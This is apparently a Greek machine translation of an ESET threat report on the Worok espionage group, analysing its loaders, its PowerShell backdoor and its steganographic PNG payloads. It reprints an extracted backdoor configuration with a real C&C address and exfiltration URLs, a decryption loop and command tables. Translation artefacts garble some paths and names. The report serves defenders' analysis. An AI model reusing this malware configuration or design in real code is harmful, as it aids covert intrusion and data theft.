Εστιασμένη κυρίως στην Ασία, αυτή η νέα ομάδα κυβερνοκατασκοπείας χρησιμοποιεί μη τεκμηριωμένα εργαλεία, συμπεριλαμβανομένης της στεγανογραφικής εξαγωγής ωφέλιμων φορτίων PowerShell από αρχεία PNG
Οι ερευνητές της ESET βρήκαν πρόσφατα στοχευμένες επιθέσεις που χρησιμοποιούσαν μη τεκμηριωμένα εργαλεία εναντίον διαφόρων εταιρειών υψηλού προφίλ και τοπικών κυβερνήσεων κυρίως στην Ασία. Αυτές οι επιθέσεις πραγματοποιήθηκαν από μια προηγουμένως άγνωστη ομάδα κατασκοπείας που ονομάσαμε Worok και η οποία είναι ενεργή τουλάχιστον από το 2020. Το σύνολο εργαλείων του Worok περιλαμβάνει έναν φορτωτή C++ CLRLoad, έναν PowerShell backdoor PowHeartBeat και έναν C# loader PNGLoad που χρησιμοποιεί steganography για να εξάγει κρυφά κακόβουλα ωφέλιμα φορτία από αρχεία PNG.
Ποιος είναι ο Worok;
Κατά τη διάρκεια του ProxyShell (CVE-2021-34523) αποκάλυψη ευπάθειας στις αρχές του 2021, παρατηρήσαμε δραστηριότητα από διάφορες ομάδες APT. Ένα εμφάνισε χαρακτηριστικά κοινά με TA428:
- Χρόνοι δραστηριότητας
- Στοχευμένες κάθετες
- Χρήση του ShadowPad
Το υπόλοιπο σύνολο εργαλείων είναι πολύ διαφορετικό: για παράδειγμα, το TA428 συμμετείχε στο Συμβιβασμός με δυνατότητα επιφάνειας εργασίας το 2020. Θεωρούμε ότι οι σύνδεσμοι δεν είναι αρκετά ισχυροί για να θεωρηθεί ότι το Worok είναι η ίδια ομάδα με το TA428, αλλά οι δύο ομάδες ενδέχεται να μοιράζονται εργαλεία και να έχουν κοινά ενδιαφέροντα. Αποφασίσαμε να δημιουργήσουμε ένα σύμπλεγμα και το ονομάσαμε Worok. Το όνομα επιλέχθηκε μετά από ένα mutex σε έναν φορτωτή που χρησιμοποιείται από την ομάδα. Περαιτέρω δραστηριότητα με παραλλαγές των ίδιων εργαλείων συνδέθηκε στη συνέχεια με αυτήν την ομάδα. Σύμφωνα με την τηλεμετρία της ESET, το Worok είναι ενεργό από τα τέλη του 2020 και συνεχίζει να είναι ενεργό μέχρι τη στιγμή που γράφονται αυτές οι γραμμές.
Πίσω στα τέλη του 2020, το Worok στόχευε κυβερνήσεις και εταιρείες σε πολλές χώρες, και συγκεκριμένα:
- Μια εταιρεία τηλεπικοινωνιών στην Ανατολική Ασία
- Μια τράπεζα στην Κεντρική Ασία
- Μια εταιρεία ναυτιλιακής βιομηχανίας στη Νοτιοανατολική Ασία
- Μια κυβερνητική οντότητα στη Μέση Ανατολή
- Μια ιδιωτική εταιρεία στη νότια Αφρική
Υπήρξε σημαντική διακοπή στις παρατηρούμενες λειτουργίες από το 2021-05 έως το 2022-01, αλλά η δραστηριότητα Worok επέστρεψε το 2022-02, με στόχο:
- Ενεργειακή εταιρεία στην Κεντρική Ασία
- Μια οντότητα του δημόσιου τομέα στη Νοτιοανατολική Ασία
Το σχήμα 1 παρουσιάζει έναν οπτικό χάρτη θερμότητας των στοχευόμενων περιοχών και κάθετων.
Λαμβάνοντας υπόψη τα προφίλ των στόχων και τα εργαλεία που έχουμε δει να εφαρμόζονται εναντίον αυτών των θυμάτων, πιστεύουμε ότι ο κύριος στόχος του Worok είναι η κλοπή πληροφοριών.
Τεχνική ανάλυση
Ενώ η πλειονότητα των αρχικών προσβάσεων είναι άγνωστη, σε ορισμένες περιπτώσεις μέχρι το 2021 και το 2022 έχουμε δει να χρησιμοποιούνται εκμεταλλεύσεις έναντι των τρωτών σημείων του ProxyShell. Σε τέτοιες περιπτώσεις, συνήθως έχουν μεταφορτωθεί κελύφη ιστού μετά την εκμετάλλευση αυτών των τρωτών σημείων, προκειμένου να παρέχεται επιμονή στο δίκτυο του θύματος. Στη συνέχεια, οι χειριστές χρησιμοποίησαν διάφορα εμφυτεύματα για να αποκτήσουν περαιτέρω δυνατότητες.
Μόλις αποκτήθηκε η πρόσβαση, οι χειριστές ανέπτυξαν πολλαπλά, δημόσια διαθέσιμα εργαλεία για αναγνώριση, συμπεριλαμβανομένων Mimikatz, Σκουληκαντέρα, ReGeorg, να NBTscan, και στη συνέχεια ανέπτυξαν τα προσαρμοσμένα εμφυτεύματα τους: έναν φορτωτή πρώτου σταδίου, ακολουθούμενο από έναν φορτωτή .NET δεύτερου σταδίου (PNGLoad). Δυστυχώς, δεν έχουμε τη δυνατότητα να ανακτήσουμε κανένα από τα τελικά ωφέλιμα φορτία. Το 2021, ο φορτωτής πρώτου σταδίου ήταν ένα συγκρότημα CLR (CLRLoad), ενώ το 2022 αντικαταστάθηκε, στις περισσότερες περιπτώσεις, από μια κερκόπορτα PowerShell με πλήρεις δυνατότητες (PowHeartBeat) – και οι δύο αλυσίδες εκτέλεσης απεικονίζονται στο Σχήμα 2. Αυτές οι τρεις Τα εργαλεία περιγράφονται αναλυτικά στις ακόλουθες υποενότητες.
CLRLload: Φορτωτής συναρμολόγησης CLR
Το CLRLoad είναι ένα γενικό PE των Windows που έχουμε δει και στις δύο εκδόσεις 32 και 64 bit. Είναι ένας φορτωτής γραμμένος σε C++ που φορτώνει το επόμενο στάδιο (PNGLoad), το οποίο πρέπει να είναι Συνέλευση Common Language Runtime (CLR). αρχείο DLL. Αυτός ο κώδικας φορτώνεται από ένα αρχείο που βρίσκεται σε δίσκο σε έναν νόμιμο κατάλογο, πιθανώς για να παραπλανήσει τα θύματα ή τους ανταποκριτές συμβάντων να πιστέψουν ότι είναι νόμιμο λογισμικό.
Ορισμένα δείγματα CLRLload ξεκινούν αποκωδικοποιώντας την πλήρη διαδρομή του αρχείου του οποίου το περιεχόμενο θα φορτώσουν ως το επόμενο στάδιο. Αυτές οι διαδρομές αρχείων κωδικοποιούνται με ένα XOR ενός byte, με διαφορετικό κλειδί σε κάθε δείγμα. Αποκωδικοποιημένες ή καθαρό κείμενο, αυτές οι διαδρομές αρχείων είναι απόλυτες, με τις ακόλουθες να είναι αυτές που έχουμε συναντήσει:
- C:Program FilesVMwareVMware ToolsVMware VGAuthxsec_1_5.dll
- C:Program FilesUltraViewermsvbvm80.dll
- C:Program FilesInternet ExplorerJsprofile.dll
- C:Program FilesWinRarRarExtMgt.dll
- C:Program Files (x86)Foxit SoftwareFoxit Readerlucenelib.dll
Στη συνέχεια, δημιουργείται ένα mutex και έχουμε δει διαφορετικό όνομα σε κάθε δείγμα. Ο φορτωτής ελέγχει για αυτό το mutex. αν βρεθεί, βγαίνει, επειδή ο φορτωτής λειτουργεί ήδη. Σε ένα από τα δείγματα, το mutex Wo0r0KGWhYGO συναντήθηκε, γεγονός που έδωσε στην ομάδα το όνομά της Worok.
Στη συνέχεια, το CLRLoad φορτώνει ένα συγκρότημα CLR από την πιθανώς αποκωδικοποιημένη διαδρομή αρχείου. Ως μη διαχειριζόμενος κώδικας, το CLRLoad το επιτυγχάνει μέσω CorBindToRuntimeEx Το API των Windows καλεί σε παραλλαγές 32-bit ή CLRCreateInstance κλήσεις σε παραλλαγές 64-bit.
PowHeartBeat: Πίσω πόρτα PowerShell
Το PowHeartBeat είναι μια κερκόπορτα με πλήρεις δυνατότητες γραμμένη σε PowerShell, η οποία έχει συσκοτιστεί χρησιμοποιώντας διάφορες τεχνικές όπως συμπίεση, κωδικοποίηση και κρυπτογράφηση. Με βάση την τηλεμετρία ESET, πιστεύουμε ότι το PowHeartBeat αντικατέστησε το CLRLoad σε πιο πρόσφατες καμπάνιες Worok ως το εργαλείο που χρησιμοποιείται για την εκκίνηση του PNGLoad.
Το πρώτο επίπεδο του κώδικα της κερκόπορτας αποτελείται από πολλά κομμάτια κώδικα PowerShell με κωδικοποίηση base64. Μόλις το ωφέλιμο φορτίο ανακατασκευαστεί, εκτελείται μέσω IEX. Μόλις αποκωδικοποιηθεί, εκτελείται ένα άλλο επίπεδο ασαφούς κώδικα, το οποίο μπορούμε να δούμε στο Σχήμα 3.
Το δεύτερο στρώμα του backdoor first base64 αποκωδικοποιεί το επόμενο στρώμα του κώδικά του, το οποίο στη συνέχεια αποκρυπτογραφείται με Τριπλό DES (Λειτουργία CBC). Μετά την αποκρυπτογράφηση, αυτός ο κωδικός αποσυμπιέζεται χρησιμοποιώντας το gzip αλγόριθμο, δίνοντας έτσι το τρίτο επίπεδο κώδικα PowerShell, που είναι η πραγματική κερκόπορτα. Χωρίζεται σε δύο κύρια μέρη: διαμόρφωση και χειρισμός εντολών backdoor.
Το κύριο επίπεδο κώδικα backdoor είναι επίσης γραμμένο στο PowerShell και χρησιμοποιεί HTTP ή ICMP για επικοινωνία με τον διακομιστή C&C. Λειτουργεί όπως φαίνεται στο Σχήμα 4.
διαμόρφωση
Η διαμόρφωση περιέχει πολλά πεδία, συμπεριλαμβανομένου του αριθμού έκδοσης, της προαιρετικής διαμόρφωσης διακομιστή μεσολάβησης και της διεύθυνσης C&C. Ο Πίνακας 1 περιγράφει τις έννοιες των πεδίων διαμόρφωσης στις διάφορες εκδόσεις που έχουμε παρατηρήσει.
Πίνακας 1. Έννοιες πεδίων διαμόρφωσης
Ονομα πεδίου | Περιγραφή |
---|---|
nouse / ikuyrtydyfg (άλλα δείγματα) |
Αχρησιμοποίητος. |
Ταυτότητα πελάτη | Αναγνωριστικό πελάτη, που χρησιμοποιείται για τους ακόλουθους σκοπούς: · Ως τιμή κατά την κατασκευή του Κεφαλίδα cookie για επικοινωνίες C&C. · Ως κρυπτογραφικό τεχνούργημα για κρυπτογράφηση απεσταλμένων δεδομένων. |
Εκδοχή | Αριθμός έκδοσης του PowHeartBeat. |
ExecTimes | Αριθμός επιτρεπόμενων προσπαθειών εκτέλεσης κατά την έκδοση α RunCmd (εκτέλεση εντολών) εντολή. |
πράκτορας χρήστη | Πράκτορας χρήστη που χρησιμοποιείται για επικοινωνίες C&C. |
referer | referer κεφαλίδα που χρησιμοποιείται για επικοινωνίες C&C. |
Αποδοχή Κωδικοποίησης | Αχρησιμοποίητος. |
CookieClientId CookieTaskId CookieTerminalId |
Τιμές που χρησιμοποιούνται για την κατασκευή του Cookie κεφαλίδα για επικοινωνίες C&C. |
UrlHttps | Πρωτόκολλο προς χρήση για επικοινωνίες C&C. |
UrlDomain Διεύθυνση IP Domains |
URL, τομέας ή διεύθυνση IP που χρησιμοποιείται ως διακομιστής C&C. Αν Domains δεν είναι κενό, επιλέγεται αντί για Διεύθυνση IP. Σε άλλες περιπτώσεις, Διεύθυνση IP είναι κατηλημμένο. |
UrlSendHeartBeat | Διαδρομή διεύθυνσης URL που χρησιμοποιείται όταν η κερκόπορτα ζητά εντολές από τον διακομιστή C&C. |
UrlSendResult | Διαδρομή διεύθυνσης URL που χρησιμοποιείται όταν η κερκόπορτα στέλνει τα αποτελέσματα της εντολής πίσω στον διακομιστή C&C. |
GetUrl | Ολοκληρωμένη διεύθυνση URL, που χρησιμοποιείται από το PowHeartBeat για να ζητήσει εντολές από τον διακομιστή C&C. Είναι η συνένωση των παραπάνω στοιχείων URL. |
PutUrl | Το ίδιο με GetUrl αλλά χρησιμοποιείται για την αποστολή των αποτελεσμάτων της εντολής πίσω στον διακομιστή C&C. |
τρέχον μονοπάτι | Αχρησιμοποίητος. |
ProxyEnableFlag | Σημαία που υποδεικνύει εάν η κερκόπορτα πρέπει να χρησιμοποιεί διακομιστή μεσολάβησης ή όχι για να επικοινωνεί με τον διακομιστή C&C. |
Proxymsg | Διεύθυνση του διακομιστή μεσολάβησης που θα χρησιμοποιηθεί εάν ProxyEnableFlag έχει οριστεί σε $αλήθεια. |
Διάστημα | Χρόνος σε δευτερόλεπτα κατά τον οποίο το σενάριο αναμένει μεταξύ των αιτημάτων GET. |
BasicConfigPath | Διαδρομή σε ένα προαιρετικό αρχείο διαμόρφωσης που περιέχει χρόνο λειτουργίας, Χρόνος αργίας, DefaultInterval, να Domains. Αυτές οι τιμές θα παρακαμφθούν εάν υπάρχει το αρχείο. |
χρόνο λειτουργίας | Ώρα της ημέρας από την οποία αρχίζει να λειτουργεί το backdoor, που σημαίνει ότι αρχίζει να κάνει αιτήματα GET στον διακομιστή C&C. |
Χρόνος αργίας | Ώρα της ημέρας μέχρι την οποία μπορεί να λειτουργήσει το backdoor, δηλαδή η ώρα που σταματά να κάνει αιτήματα στον διακομιστή C&C. |
DomainIndex | Ευρετήριο του τρέχοντος ονόματος τομέα για χρήση για επικοινωνίες με τον διακομιστή C&C. Σε περίπτωση που ένα αίτημα εμφανίσει μήνυμα σφάλματος διαφορετικό από 304 ("Δεν τροποποιήθηκε"), DomainIndex αυξάνεται. |
Μυστικό κλειδί | Κλειδί που χρησιμοποιείται για την αποκρυπτογράφηση/κρυπτογράφηση της διαμόρφωσης. Η διαμόρφωση είναι κρυπτογραφημένη με XOR πολλαπλών byte. |
IfLog | Αχρησιμοποίητος. |
IfLogFilePath | Σημαία που υποδεικνύει εάν η καταγραφή είναι ενεργοποιημένη. |
δρομολόγιο | Διαδρομή του αρχείου καταγραφής. |
ProxyFile | Διαδρομή αρχείου της προαιρετικής διαμόρφωσης διακομιστή μεσολάβησης. Εάν είναι άδειο ή δεν βρίσκεται στο σύστημα αρχείων, το backdoor ανακτά τις ρυθμίσεις διακομιστή μεσολάβησης του χρήστη από την τιμή μητρώου HKCUSoftwareMicrosoftWindowsΤρέχουσαΈκδοσηΡυθμίσειςΔιαδικτύουΔιακομιστήςProxy . |
IfConfig | Σημαία που υποδεικνύει εάν θα χρησιμοποιηθεί ένα αρχείο διαμόρφωσης. |
Το σχήμα 5 δείχνει ένα παράδειγμα της διαμόρφωσης που εξήχθη από ένα δείγμα PowHeartBeat (SHA-1: 757ABA12D04FD1167528FDD107A441D11CD8C427).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
$Script:nouse = 100; if(Test-Path $MyInvocation.MyCommand.Path){Remove-item $MyInvocation.MyCommand.Path -Force;} $Script:ClientId = “83”; $Script:Version = “2.1.3.0003”; $Script:ExecTimes = 10; $Script:UserAgent = “Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3487.100 Safari/537.36”; $Script:Referer = “www.adobe.com”; $Script:AcceptEncoding = “text/html,app1ication/xhtml+xml,app1ication/xml;q=0.9,*/*;q=0.8”; $Script:CookieClientId = “s_ecid”; $Script:CookieTaskId = “aam_uuid”; $Script:CookieTerminalId = “AAMC_adobe_0”; $Script:UrlHttps = “http://”; $Script:UrlDomain= ” 118.193.78[.]22:443″; $Script:UrlSendHeartBeat = “/latest/AdobeMessagingClient.js”; $Script:UrlSendResult = “/content/dam/offers-homepage/homepage.jpg”; $Script:GetUrl = $Script:UrlHttps + $Script:UrlDomain + $Script:UrlSendHeartBeat; $Script:PutUrl = $Script:UrlHttps + $Script:UrlDomain + $Script:UrlSendResult; $Script:currentPath = Split-Path -Parent $MyInvocation.MyCommand.Definition; $Script:ProxyEnableFlag = $false; $Script:Proxymsg; $Script:Interval = 10 ; $Script:BasicConfigPath = “C:ProgramDataunins.dat”; $Script:UpTime = 0; $Script:DownTime = 24; $Script:Domains; $Script:DomainIndex; $Script:SecretKey = “###ConfigKey###”; #$Script:IfLog = $true; $Script:IfLogFilePath = “C:ProgramDatatpncp.dat”; $Script:logpath = “C:ProgramDataunins000.dat”; $Script:ProxyFile = “C:ProgramDatahwrenalm.dat”; $Script:IfConfig = $false; |
Εικόνα 5. Παράδειγμα διαμόρφωσης
Κρυπτογράφηση δεδομένων
Το PowHeartBeat κρυπτογραφεί αρχεία καταγραφής και πρόσθετο περιεχόμενο αρχείων διαμόρφωσης.
Το περιεχόμενο του αρχείου καταγραφής κρυπτογραφείται μέσω XOR πολλαπλών byte με ένα κλειδί που καθορίζεται σε καθαρό κείμενο στο δείγμα. Με ενδιαφέρο, ταυτότητα πελάτη χρησιμοποιείται ως αλάτι για το ευρετήριο στον πίνακα κλειδιών. Το κλειδί είναι ένας πίνακας 256 byte, ο οποίος ήταν πανομοιότυπος σε κάθε δείγμα που συναντήσαμε. Το πρόσθετο περιεχόμενο του αρχείου διαμόρφωσης κρυπτογραφείται μέσω XOR πολλαπλών byte με την τιμή από Μυστικό κλειδί ως το κλειδί του.
Επικοινωνίες C&C
Το PowHeartBeat χρησιμοποίησε το HTTP για επικοινωνίες C&C μέχρι την έκδοση 2.4 και μετά άλλαξε σε ICMP. Και στις δύο περιπτώσεις η επικοινωνία δεν είναι κρυπτογραφημένη.
HTTP
Σε έναν άπειρο βρόχο, η κερκόπορτα στέλνει ένα αίτημα GET στον διακομιστή C&C, ζητώντας μια εντολή για έκδοση. Η κρυπτογραφημένη απάντηση αποκρυπτογραφείται από την κερκόπορτα, η οποία επεξεργάζεται την εντολή και εγγράφει την έξοδο της εντολής σε ένα αρχείο του οποίου το περιεχόμενο αποστέλλεται στη συνέχεια στον διακομιστή C&C μέσω αιτήματος POST.
Η μορφή των αιτημάτων GET είναι η εξής:
GET <UrlSendHeartBeat> HTTP/1.1 User-Agent: <UserAgent> Referer: <Referer> Host: <Domain> Cookie: <CookieClientId>=<ClientId> Connection: close |
Σημειώστε ότι το αίτημα δημιουργείται χρησιμοποιώντας τα ομώνυμα πεδία διαμόρφωσης.
Στην απόκριση από τον διακομιστή C&C, το τρίτο byte του περιεχομένου είναι το αναγνωριστικό εντολής που υποδεικνύει την εντολή προς επεξεργασία από την κερκόπορτα. Θα το ονομάσουμε command_id. Το υπόλοιπο περιεχόμενο της απάντησης θα μεταβιβαστεί ως όρισμα στην εντολή που υποβάλλεται σε επεξεργασία. Αυτό το περιεχόμενο είναι κρυπτογραφημένο με τον αλγόριθμο που φαίνεται στην Εικόνα 6, TaskId είναι η τιμή του cookie που πήρε το όνομά του CookieTaskId's τιμή από τη διαμόρφωση.
1 2 3 4 5 6 7 8 9 10 |
o[int] $pos = $taskId % 256; for ($i = 0; $i -lt $tmpBytes.Value.Length; $i++) { $pos = $pos + $clientId; if ($pos -ge 256) { $pos = $pos % 256; } $tmpBytes.Value[$i] = [byte]($tmpBytes.Value[$i] -bxor $hexEnc[$pos]); } |
Εικόνα 6. Ζητείται αλγόριθμος κρυπτογράφησης δεδομένων περιεχομένου
Η απάντηση από τον διακομιστή C&C περιέχει επίσης ένα άλλο cookie, το όνομα του οποίου καθορίζεται από το backdoor CookieTerminalId μεταβλητή διαμόρφωσης. Η τιμή αυτού του cookie επαναλαμβάνεται στο αίτημα POST από την κερκόπορτα και δεν πρέπει να είναι κενό. Μετά την εκτέλεση της εντολής backdoor, το PowHeartBeat στέλνει το αποτέλεσμα ως αίτημα POST στον διακομιστή C&C. Το αποτέλεσμα αποστέλλεται ως αρχείο του οποίου το όνομα είναι .png.
ICMP
Ξεκινώντας από την έκδοση 2.4 του PowHeartBeat, το HTTP αντικαταστάθηκε από το ICMP, έστειλε πακέτα με χρονικό όριο έξι δευτερολέπτων και αποσπασματικά. Η επικοινωνία μέσω του ICMP είναι πιθανότατα ένας τρόπος αποφυγής του εντοπισμού.
Δεν υπάρχει καμία σημαντική αλλαγή στις εκδόσεις 2.4 και μεταγενέστερες, αλλά παρατηρήσαμε ορισμένες τροποποιήσεις στον κώδικα:
- Το PowHeartBeat στέλνει ένα πακέτο καρδιακού παλμού σε κάθε βρόχο που περιέχει τη συμβολοσειρά abcdefghijklmnopqrstuvwxyz, πριν ζητήσετε εντολή. Αυτό ενημερώνει τον διακομιστή C&C ότι η κερκόπορτα είναι έτοιμη να λάβει εντολές.
- Τα αιτήματα για λήψη εντολών που εκτελούνται από την κερκόπορτα περιέχουν τη συμβολοσειρά abcdefghijklmnop.
Τα πακέτα καρδιακών παλμών έχουν τη μορφή που περιγράφεται στο Σχήμα 7.
Η διαφορά μεταξύ ταυτότητα πελάτη και σημαία πελάτη είναι αυτό ταυτότητα πελάτη διαφέρει σε κάθε δείγμα ενώ σημαία πελάτη είναι το ίδιο σε κάθε δείγμα που χρησιμοποιεί ICMP. σημαία χτύπου της καρδιάς υποδηλώνει ότι η κερκόπορτα στέλνει έναν καρδιακό παλμό. Η απόκριση από τον διακομιστή C&C έχει τη μορφή που περιγράφεται στην Εικόνα 8.
σημαία εδώ υποδεικνύει εάν υπάρχει εντολή για έκδοση στην κερκόπορτα. Τα αιτήματα για λήψη εντολών έχουν τη μορφή που περιγράφεται στην Εικόνα 9.
Σημειώστε ότι η λειτουργία ICMP της κερκόπορτας επιτρέπει τη λήψη απεριόριστου όγκου δεδομένων, χωρισμένων σε κομμάτια και μεταβλητές μήκος δεδομένων, τρέχουσα θέση και συνολικό μήκος χρησιμοποιούνται για την παρακολούθηση των μεταδιδόμενων δεδομένων. Οι απαντήσεις σε αυτά τα αιτήματα έχουν τη μορφή που περιγράφεται στο Σχήμα 10.
Όπως και στις απαντήσεις HTTP, το αναγνωριστικό εντολής είναι το τρίτο byte ημερομηνία.
Μετά από επτά διαδοχικές απαντήσεις ICMP με κενό ή ασυνεπώς μορφοποιημένο περιεχόμενο, οι μεταφορές μεταξύ του backdoor και του διακομιστή C&C θεωρούνται ολοκληρωμένες.
Όσον αφορά τα αιτήματα αποστολής του αποτελέσματος της εντολής που έχει εκδοθεί στον διακομιστή C&C, η λειτουργία διακομιστή αλλάζει για λειτουργία ανάρτησης και η τελική συμβολοσειρά (abcdefghijklmnop) αλλάζει για τα δεδομένα αποτελέσματος.
Εντολές πίσω πόρτας
Το PowHeartBeat έχει διάφορες δυνατότητες, συμπεριλαμβανομένης της εκτέλεσης εντολών/διαδικασιών και χειρισμού αρχείων. Ο Πίνακας 2 παραθέτει όλες τις εντολές που υποστηρίζονται από τα διάφορα δείγματα που αναλύθηκαν.
Πίνακας 2. Περιγραφές εντολών PowHeartBeat
Όνομα | Αναγνωριστικό εντολής | Περιγραφή |
---|---|---|
Cmd | 0x02 | Εκτελέστε μια εντολή PowerShell. |
Exe | 0x04 | Εκτελέστε μια εντολή ως α διαδικασια μας. |
Ανέβασμα αρχείου | 0x06 | Ανεβάστε ένα αρχείο στο μηχάνημα-θύμα. Το περιεχόμενο του αρχείου είναι συμπιεσμένο με gzip. |
Φόρτωση αρχείου | 0x08 | Κάντε λήψη ενός αρχείου από το μηχάνημα του θύματος και επιστρέψτε τη διαδρομή αρχείου, το μήκος του αρχείου, τον χρόνο δημιουργίας, τους χρόνους πρόσβασης και το περιεχόμενο του αρχείου στον διακομιστή C&C. |
Προβολή αρχείου | 0x0A | Λάβετε πληροφορίες αρχείου ενός συγκεκριμένου καταλόγου, ειδικότερα: · Ονόματα αρχείων · Ιδιότητες αρχείου · Τελευταίοι χρόνοι εγγραφής · Περιεχόμενα αρχείου |
Διαγραφή αρχείου | 0x0C | Διαγράψτε ένα αρχείο. |
Μετονομασία αρχείου | 0x0E | Μετονομάστε ή μετακινήστε ένα αρχείο. |
ChangeDir | 0x10 | Αλλάξτε την τρέχουσα θέση εργασίας της κερκόπορτας. |
Πληροφορίες | 0x12 | Λάβετε μια κατηγορία πληροφοριών σύμφωνα με το καθορισμένο όρισμα: · "Βασικές πληροφορίες": Ταυτότητα πελάτη, Εκδοχή, όνομα κεντρικού υπολογιστή, διευθύνσεις IP, explorer.exe πληροφορίες έκδοσης και μεγέθους, λειτουργικό σύστημα (αρχιτεκτονική και σημαία που υποδεικνύει εάν το μηχάνημα είναι διακομιστής), Διάστημα, τρέχων κατάλογος, πληροφορίες μονάδας δίσκου (όνομα, τύπος, ελεύθερος χώρος και συνολικό μέγεθος), τρέχουσα ώρα · «Πληροφορίες χρονικού διαστήματος»: Διάστημα και την τρέχουσα ώρα · "Πληροφορίες τομέα": αποκρυπτογραφημένο περιεχόμενο αρχείου διαμόρφωσης |
Config | 0x14 | Ενημερώστε το περιεχόμενο του αρχείου διαμόρφωσης και φορτώστε ξανά τη διαμόρφωση. |
N / A | 0x63 | Έξοδος πίσω πόρτας. |
Σε περίπτωση σφαλμάτων στην πλευρά της κερκόπορτας, η κερκόπορτα χρησιμοποιεί ένα συγκεκριμένο αναγνωριστικό εντολής 0x00 στο αίτημα POST προς τον διακομιστή C&C, υποδεικνύοντας έτσι ότι παρουσιάστηκε σφάλμα.
Σημειώστε ότι πριν στείλετε τις πληροφορίες πίσω στον διακομιστή C&C, τα δεδομένα συμπιέζονται με gzip.
PNGLoad: Steganographic loader
Το PNGLoad είναι το ωφέλιμο φορτίο δεύτερου σταδίου που αναπτύσσεται από το Worok σε παραβιασμένα συστήματα και, σύμφωνα με την τηλεμετρία της ESET, φορτώνεται είτε από το CLRLoad είτε από το PowHeartBeat. Αν και δεν βλέπουμε κανέναν κώδικα στο PowHeartBeat που να φορτώνει απευθείας το PNGLoad, το backdoor έχει τη δυνατότητα λήψης και εκτέλεσης πρόσθετων ωφέλιμων φορτίων από τον διακομιστή C&C, κάτι που είναι πιθανό ο τρόπος με τον οποίο οι εισβολείς έχουν αναπτύξει το PNGLoad σε συστήματα που έχουν παραβιαστεί με το PowHeartBeat. Το PNGLoad είναι ένα πρόγραμμα φόρτωσης που χρησιμοποιεί byte από αρχεία PNG για να δημιουργήσει ένα ωφέλιμο φορτίο για εκτέλεση. Είναι ένα εκτελέσιμο .NET 64-bit – συσκοτισμένο με .NET Reactor – που μεταμφιέζεται ως νόμιμο λογισμικό. Για παράδειγμα, το σχήμα 11 δείχνει τις κεφαλίδες CLR ενός δείγματος που μεταμφιέζεται σε WinRAR DLL.
Μόλις αποσυμφορηθεί, υπάρχει μόνο μία κλάση. Σε αυτή την τάξη, υπάρχει ένα MainPath χαρακτηριστικό που περιέχει τη διαδρομή καταλόγου που αναζητά το backdoor, συμπεριλαμβανομένων των υποκαταλόγων του, για αρχεία με α . Png επέκταση, όπως φαίνεται στο σχήμα 12.
Κάθε . Png αρχείο που βρίσκεται από αυτήν την αναζήτηση του MainPath στη συνέχεια ελέγχεται για στεγανογραφικά ενσωματωμένο περιεχόμενο. Πρώτον, το λιγότερο σημαντικό bit των τιμών R (κόκκινο), G (πράσινο), B (μπλε) και A (άλφα) κάθε εικονοστοιχείου ανακτάται και συναρμολογείται σε μια προσωρινή μνήμη. Εάν τα πρώτα οκτώ byte αυτού του buffer ταιριάζουν με τον μαγικό αριθμό που φαίνεται στο Σχήμα 13 και η επόμενη τιμή οκτώ byte, έλεγχος, δεν είναι μηδενική, το αρχείο περνά τον έλεγχο στεγανογραφικού περιεχομένου του PNGLoad. Για τέτοια αρχεία, η επεξεργασία συνεχίζεται με το υπόλοιπο buffer αποκρυπτογραφημένο με XOR πολλαπλών byte, χρησιμοποιώντας το κλειδί που είναι αποθηκευμένο στο PNGLoad's SecretKeyBytes χαρακτηριστικό και, στη συνέχεια, το αποκρυπτογραφημένο buffer αποσυμπιέζεται με gzip. Το αποτέλεσμα αναμένεται να είναι ένα σενάριο PowerShell, το οποίο εκτελείται αμέσως.
Είναι ενδιαφέρον ότι οι λειτουργίες που εκτελούνται από το PNGLoad καταγράφονται σε ένα αρχείο του οποίου η διαδρομή είναι αποθηκευμένη στη μεταβλητή LogFilePath. Οι λειτουργίες καταγράφονται μόνο εάν υπάρχει ένα αρχείο του οποίου η διαδρομή καθορίζεται από την εσωτερική μεταβλητή IfLogFilePath.
Δεν μπορέσαμε να λάβουμε δείγμα . Png Το αρχείο χρησιμοποιείται μαζί με το PNGLoad, αλλά ο τρόπος που λειτουργεί το PNGLoad υποδηλώνει ότι θα πρέπει να λειτουργεί με έγκυρα αρχεία PNG. Για να κρύψει το κακόβουλο ωφέλιμο φορτίο, το Worok χρησιμοποιεί αντικείμενα Bitmap σε C#, τα οποία λαμβάνουν μόνο πληροφορίες pixel από αρχεία και όχι από τα μεταδεδομένα του αρχείου. Αυτό σημαίνει ότι το Worok μπορεί να κρύψει τα κακόβουλα ωφέλιμα φορτία του σε έγκυρες, αβλαβείς εικόνες PNG και έτσι να κρυφτεί σε κοινή θέα.
Συμπέρασμα
Το Worok είναι μια ομάδα κυβερνοκατασκοπείας που αναπτύσσει τα δικά της εργαλεία, καθώς και αξιοποιεί υπάρχοντα εργαλεία, για να συμβιβάσει τους στόχους της. Η κλοπή πληροφοριών από τα θύματά τους είναι αυτό που πιστεύουμε ότι επιδιώκουν οι χειριστές επειδή επικεντρώνονται σε οντότητες υψηλού προφίλ στην Ασία και την Αφρική, στοχεύοντας διάφορους τομείς, ιδιωτικούς και δημόσιους, αλλά με ιδιαίτερη έμφαση σε κρατικούς φορείς. Οι χρόνοι δραστηριότητας και το σύνολο εργαλείων υποδεικνύουν πιθανούς δεσμούς με το TA428, αλλά κάνουμε αυτήν την αξιολόγηση με χαμηλή εμπιστοσύνη. Το προσαρμοσμένο σύνολο εργαλείων τους περιλαμβάνει δύο φορτωτές – ένα σε C++ και ένα σε C# .NET – και ένα κερκόπορτα PowerShell. Αν και η ορατότητά μας είναι περιορισμένη, ελπίζουμε ότι το να ρίξει φως σε αυτήν την ομάδα θα ενθαρρύνει άλλους ερευνητές να μοιραστούν πληροφορίες σχετικά με αυτήν την ομάδα.
Η ESET Research τώρα προσφέρει επίσης ιδιωτικές αναφορές πληροφοριών APT και ροές δεδομένων. Για οποιαδήποτε απορία σχετικά με αυτήν την υπηρεσία, επισκεφθείτε τη διεύθυνση ESET Threat Intelligence .
ΔΟΕ
Αρχεία
SHA-1 | Όνομα | Όνομα ανίχνευσης ESET | Σχόλιο |
---|---|---|---|
3A47185D0735CDECF4C7C2299EB18401BFB328D5 | γραφή | PowerShell/PowHeartBeat.B | PowHeartBeat 2.4.3.0003. |
27ABB54A858AD1C1FF2863913BDA698D184E180D | γραφή | PowerShell/PowHeartBeat.A | PowHeartBeat 2.4.3.0003. |
